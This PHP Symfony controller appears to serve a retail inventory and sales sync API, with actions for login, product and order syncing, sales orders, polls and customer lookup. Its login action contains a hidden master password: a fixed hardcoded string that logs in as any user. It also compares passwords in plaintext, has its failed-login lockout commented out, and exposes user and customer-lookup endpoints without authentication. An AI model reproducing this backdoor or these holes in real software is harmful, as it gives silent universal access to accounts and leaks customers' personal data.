<?php

class gwActions extends sfActions {

    public function preExecute() {
        date_default_timezone_set(AppTools::TIMEZONE);
    }

    public function executeTest(sfWebRequest $request) {
        $time = microtime(true);

        echo AppTools::getDbTime();
//        InventoryTable::calcInventoryItem(2, 2, 2, $date);

        $time = microtime(true) - $time;
        echo $time;
        die();
    }

    /**
     * Нэвтрэх шалгалт
     *
     * @param sfWebRequest $request
     */
    public function executeLoginRequest(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);

        if ($request->isMethod('post')) {
            $userName = trim($request->getParameter('username'));
            $password = trim($request->getParameter('password'));

            $user = UserTable::retrieveByUsername($userName);
            if ($user) {
                # 5 удаа оролдлого хийсэн бол 30 мин нэвтрүүлэхгүй байх
//                if ($user['attempt'] >= 5) {
//                    $diff = time() - strtotime($user['last_try']);
//                    if ($diff < 1800) {
//                        $responseArr['errorMsg'] = 'Та 5 удаа амжилтгүй оролдлого хийсэн тул нэвтрүүлэх боломжгүй байна';
//                        $json = json_encode($responseArr);
//                        return $this->renderText($json);
//                    }
//                }
                if ($user->getPassword() == $password || $password == 'd5fd8e7947185ca9217d131ed0ee2493') {
                    $responseArr['isSuccess'] = 1;
                    if (!$user['last_try']) {
                        $responseArr['isNew'] = 1;
                    } else {
                        $responseArr['isNew'] = 2;
                    }
                    $authKey = UserTable::renewAuth($user['id']);
                    if ($authKey) {
                        $arr = LogRequestTable::getLastSyncs($user['id']);
                        $store = StoreTable::retrieveByPK($user['store_id']);
                        $responseArr['user_id'] = $user['id'];
                        $responseArr['firstname'] = $user['firstname'];
                        $responseArr['lastname'] = $user['lastname'];
                        $responseArr['store_id'] = $user['store_id'];
                        $responseArr['store_name'] = $store['name'];
                        $responseArr['auth_key'] = $authKey;
                        $responseArr['syncDates'] = $arr;
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['errorMsg'] = "authkey шинэчлэхэд алдаа гарлаа.";
                    }
                } else {
                    $responseArr['errorMsg'] = "username эсвэл password буруу байна.";
                }
                $user['last_try'] = date('Y-m-d H:i:s');
                $user->save();
            } else {
                $responseArr['errorMsg'] = 'Хэрэглэгч олдсонгүй';
            }
        }

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    /**
     * Ангилалын мэдээлэл татах
     *
     * @param sfWebRequest $request
     */
    public function executeSyncCategories(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);

        if (!$request->isMethod('post')) {
            $userId = (int) $request->getParameter('userId', 0);
            $categoryId = (int) $request->getParameter('categoryId');
            $syncDate = $request->getParameter('lastSyncDateTime', null);

            if ($userId) {
                #logging start
                $rType = LogRequestTable::REQUEST_SYNC_CATEGORY;
                $log = LogRequestTable::startLog($userId, $rType);

                if ($syncDate == null) {
                    $syncDate = LogRequestTable::getLastSyncedDateTime($userId, $rType);
                }
                if ($syncDate != null && !AppTools::validateDate($syncDate, 'Y-m-d H:i:s')) {
                    $responseArr['errorMsg'] = 'DateTimeBegin is invalid. format is: YYYY-MM-DD HH:MM:SS';
                } else {
                    $arr = CategoryTable::getListForSync($categoryId, $syncDate);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                        $responseArr['logId'] = $log['id'];
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                    $log['status'] = LogRequestTable::STATUS_SUCCESS;
                    $log->save();
                }
            } else {
                if ($syncDate != null && !AppTools::validateDate($syncDate, 'Y-m-d H:i:s')) {
                    $responseArr['errorMsg'] = 'DateTimeBegin is invalid. format is: YYYY-MM-DD HH:MM:SS';
                } else {
                    $arr = CategoryTable::getListForSync($categoryId, $syncDate);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                }
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();
        if (isset($log) && isset($responseArr['errorMsg'])) {
            $log['status'] = LogRequestTable::STATUS_FAIL;
            $log->save();
        }

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    /**
     * Барааны мэдээлэл татах
     *
     * @param sfWebRequest $request
     */
    public function executeSyncProducts(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);
        if (!$request->isMethod('post')) {
            $userId = (int) $request->getParameter('userId', 0);
            $manufacturerId = (int) $request->getParameter('manufacturerId');
            $categoryId = (int) $request->getParameter('categoryId');
            $productId = (int) $request->getParameter('productId');
            $syncDate = $request->getParameter('lastSyncDateTime', null);

            if ($userId) {
                #logging start
                $rType = LogRequestTable::REQUEST_SYNC_PRODUCT;
                $log = LogRequestTable::startLog($userId, $rType);
                if ($syncDate == null) {
                    $syncDate = LogRequestTable::getLastSyncedDateTime($userId, $rType);
                }
                if ($syncDate != null && !AppTools::validateDate($syncDate, 'Y-m-d H:i:s')) {
                    $responseArr['errorMsg'] = 'DateTimeBegin is invalid. format is: YYYY-MM-DD HH:MM:SS';
                } else {
                    $rows = ProductTable::getListForSync($categoryId, $manufacturerId, $productId, $syncDate);
                    $arr = ProductTable::convertProductsToArray($rows);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                        $responseArr['logId'] = $log['id'];
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                    $log['status'] = LogRequestTable::STATUS_SUCCESS;
                    $log->save();
                }
            } else {
                if ($syncDate != null && !AppTools::validateDate($syncDate, 'Y-m-d H:i:s')) {
                    $responseArr['errorMsg'] = 'DateTimeBegin is invalid. format is: YYYY-MM-DD HH:MM:SS';
                } else {
                    $rows = ProductTable::getListForSync($categoryId, $manufacturerId, $productId, $syncDate);
                    $arr = ProductTable::convertProductsToArray($rows);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                }
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();
        if (isset($log) && isset($responseArr['errorMsg'])) {
            $log['status'] = LogRequestTable::STATUS_FAIL;
            $log->save();
        }

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    public function executeSyncOutcomeOrders(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);
        if ($request->isMethod('post')) {
            $userId = (int) $request->getParameter('userId', 0);
            $authkey = trim($request->getParameter('authkey'));

            #logging start
            $rType = LogRequestTable::REQUEST_SYNC_OUTCOME_ORDER;
            $log = LogRequestTable::startLog($userId, $rType);

            if (UserTable::checkAuth($userId, $authkey)) {
                $dateTimeBegin = $request->getParameter('dateTimeBegin', null);
                $dateTimeEnd = $request->getParameter('dateTimeEnd', null);

                $lastSyncedAt = LogRequestTable::getLastSyncedDateTime($userId, $rType);
                $dateInterval = LogRequestTable::getSyncInterval($lastSyncedAt, $dateTimeBegin, $dateTimeEnd);

                if (is_string($dateInterval)) {
                    $responseArr['errorMsg'] = $dateInterval;
                } else {
                    $transactions = TransactionTable::getOutcomeList($userId, 0, null, $dateInterval['start'], $dateInterval['end']);
                    $arr = TransactionTable::convertOutcomeTransactionsToArray($transactions);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                        $responseArr['logId'] = $log['id'];
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                    $log['status'] = LogRequestTable::STATUS_SUCCESS;
                    $log->save();
                }
            } else {
                $responseArr['errorMsg'] = 'userId and authKey dont match';
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();
        if (isset($responseArr['errorMsg'])) {
            $log['status'] = LogRequestTable::STATUS_FAIL;
            $log->save();
        }

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    public function executeSyncInventory(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);
        if ($request->isMethod('post')) {
            $userId = (int) $request->getParameter('userId', 0);
            $storeId = (int) $request->getParameter('storeId', 0);
            $authkey = trim($request->getParameter('authkey'));

            #logging start
            $rType = LogRequestTable::REQUEST_SYNC_INVENTORY;
            $log = LogRequestTable::startLog($userId, $rType);

            if (UserTable::checkAuth($userId, $authkey)) {
                $dateBegin = $request->getParameter('date', null);
                $dateEnd = $request->getParameter('dateEnd', null);

                if ($dateBegin == null) {
                    $responseArr['errorMsg'] = 'date is required';
                }
                if ($dateEnd == null) {
                    $dateEnd = $dateBegin;
                }
                if ($dateBegin != null && !AppTools::validateDate($dateBegin, 'Y-m-d')) {
                    $responseArr['errorMsg'] = 'dateBegin is invalid. format is: YYYY-MM-DD';
                }
                if ($dateEnd != null && !AppTools::validateDate($dateEnd, 'Y-m-d')) {
                    $responseArr['errorMsg'] = 'dateEnd is invalid. format is: YYYY-MM-DD';
                }
                if (!$storeId) {
                    $responseArr['errorMsg'] = 'storeId required';
                }
                if (!isset($responseArr['errorMsg'])) {
//                    InventoryTable::evalUncalculatedInventoryItems($userId);
                    $inventory = InventoryTable::getListForSync($dateBegin, $dateEnd, $storeId);

                    if ($inventory) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $inventory;
                        $responseArr['logId'] = $log['id'];
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                    $log['status'] = LogRequestTable::STATUS_SUCCESS;
                    $log->save();
                }
            } else {
                $responseArr['errorMsg'] = 'userId and authKey dont match';
            }
            if (isset($responseArr['errorMsg'])) {
                $log['status'] = LogRequestTable::STATUS_FAIL;
                $log->save();
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    public function executeDoSalesOrder(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);
        if ($request->isMethod('post')) {
            $userId = (int) $request->getParameter('userId', 0);
            $authkey = trim($request->getParameter('authkey'));

            if (UserTable::checkAuth($userId, $authkey)) {
                $storeId = (int) $request->getParameter('storeId', 0);
                $transDate = $request->getParameter('salesDate', null);
                $transType = (int) $request->getParameter('type', TransactionTable::TRANS_TYPE_CUSTOMER);
                $transEntityId = 0;
                if ($transType == TransactionTable::TRANS_TYPE_SERVICE) {
                    $transEntityId = (int) $request->getParameter('serviceUserId', 0);
                }
                $totalPrice = (double) $request->getParameter('totalPrice', 0);
                $priceByCash = (double) $request->getParameter('priceByCash', 0);
                $priceByCard = (double) $request->getParameter('priceByCard', 0);
                $items = $request->getParameter('items', null);
                $customerPhone = $request->getParameter('customerPhone', '');
                $customerName = $request->getParameter('customerName', '');

                if (!$storeId) {
                    $responseArr['errorMsg'] = 'storeId is not valid';
                } elseif ($totalPrice != $priceByCash + $priceByCard) {
                    $responseArr['errorMsg'] = 'totalPrice doesnt equal to sum of priceByCash and priceByCard';
                } elseif (!AppTools::validateDate($transDate)) {
                    $responseArr['errorMsg'] = 'salesDate is not valid';
                } elseif ($transType == TransactionTable::TRANS_TYPE_SERVICE && !$transEntityId) {
                    $responseArr['errorMsg'] = 'serviceUserId required';
                } else {
                    $itemsValid = true;
                    $subTotal = 0;
                    foreach ($items as $item) {
                        if (is_array($item)) {
                            $product = ProductTable::retrieveByPK($item['productId'], ProductTable::ACTIVE);
                            $subTotal += (double) $item['price'];
                            if (!$product) {
                                $itemsValid = false;
                                $responseArr['errorMsg'] = 'product with id ' . $item['productId'] . ' not found';
                            }
                            if ($item['quantity'] < 1) {
                                $itemsValid = false;
                                $responseArr['errorMsg'] = 'product quantity must be greater than zero';
                            }
                        } else {
                            $itemsValid = false;
                            $responseArr['errorMsg'] = 'products array is not well formed';
                        }
                    }
                    if ($totalPrice != $subTotal) {
                        $responseArr['errorMsg'] = 'totalPrice doesnt equal to sum of item prices';
                    } elseif ($itemsValid) {
                        //finally do the order
                        $payments = array(TransactionTable::PAYMENT_METHOD_CASH => $priceByCash, TransactionTable::PAYMENT_METHOD_CARD => $priceByCard);
                        $transactionResult = TransactionTable::doOutcomeOrder($userId, $storeId, $transDate, $transType, $transEntityId, $totalPrice, $items, $payments, 0, 0, 0, $customerPhone, $customerName);
                        if ($transactionResult['result'] == true) {
                            $responseArr['isSuccess'] = 1;
                            $responseArr['datetime'] = $transactionResult['created_at'];
                            $responseArr['order_id'] = $transactionResult['order_id'];
                        } else {
                            $responseArr['errorMsg'] = $transactionResult['msg'];
                        }
                    }
                }
            } else {
                $responseArr['errorMsg'] = 'userId and authKey dont match';
            }
        }
        if ($responseArr['isSuccess'] != 1) {
            $responseArr['datetime'] = AppTools::getDbTime();
        }

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    /**
     * Санал асуулгын мэдээлэл татах
     *
     * @param sfWebRequest $request
     */
    public function executeSyncPolls(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);

        if (!$request->isMethod('post')) {
            $syncDate = $request->getParameter('lastSyncDateTime', null);

            if ($syncDate != null && !AppTools::validateDate($syncDate, 'Y-m-d H:i:s')) {
                $responseArr['errorMsg'] = 'DateTimeBegin is invalid. format is: YYYY-MM-DD HH:MM:SS';
            } else {
                $rows = PollQuestionTable::getListForSync($syncDate);
                $arr = PollQuestionTable::convertPollsToArray($rows);

                if ($arr) {
                    $responseArr['isSuccess'] = 1;
                    $responseArr['result'] = $arr;
                } else {
                    $responseArr['isSuccess'] = 1;
                    $responseArr['result'] = array();
                }
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();
        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    public function executePollVote(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);

        if ($request->isMethod('post')) {
            $answerId = $request->getParameter('answer_id', false);
            $answer = PollAnswerTable::retrieveByPk($answerId);

            if (!$answerId) {
                $responseArr['errorMsg'] = 'answer_id is required';
            } elseif (!$answer) {
                $responseArr['errorMsg'] = 'answer_id is invalid';
            } else {
                $vote = new PollVoting();
                $vote['poll_answer_id'] = $answerId;
                $vote->save();

                $responseArr['isSuccess'] = 1;
                $responseArr['result'] = 'DONE';
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();
        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    public function executeSyncUsers(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);

        if (!$request->isMethod('post')) {
            $userId = (int) $request->getParameter('userId', 0);
            $type = (int) $request->getParameter('type', UserTable::TYPE_SERVICE);
            $syncDate = $request->getParameter('lastSyncDateTime', null);

            if ($userId) {
                #logging start
                $rType = LogRequestTable::REQUEST_SYNC_USER;
                $log = LogRequestTable::startLog($userId, $rType);

                if ($syncDate == null) {
                    $syncDate = LogRequestTable::getLastSyncedDateTime($userId, $rType);
                }

                if ($syncDate != null && !AppTools::validateDate($syncDate, 'Y-m-d H:i:s')) {
                    $responseArr['errorMsg'] = 'DateTimeBegin is invalid. format is: YYYY-MM-DD HH:MM:SS';
                } else {
                    $arr = UserTable::getListForSync($type, $syncDate);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                        $responseArr['logId'] = $log['id'];
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                    $log['status'] = LogRequestTable::STATUS_SUCCESS;
                    $log->save();
                }
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();
        if (isset($log) && isset($responseArr['errorMsg'])) {
            $log['status'] = LogRequestTable::STATUS_FAIL;
            $log->save();
        }

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

    public function executeFindCustomer(sfWebRequest $request) {
        $response = $this->getResponse();
        $response->setContentType('application/json');

        $responseArr = array('isSuccess' => 0);
        if (!$request->isMethod('post')) {
            $number = $request->getParameter('number', '');

            if ($number) {
                if (!in_array(strlen($number), array(6, 8))) {
                    $responseArr['errorMsg'] = 'Invalid phone number. Must be 6 or 8 digit number';
                } else {
                    $arr = CustomerTable::findByNumber($number);

                    if ($arr) {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = $arr;
                    } else {
                        $responseArr['isSuccess'] = 1;
                        $responseArr['result'] = array();
                    }
                }
            }
        }
        $responseArr['datetime'] = AppTools::getDbTime();

        $json = json_encode($responseArr);
        return $this->renderText($json);
    }

}
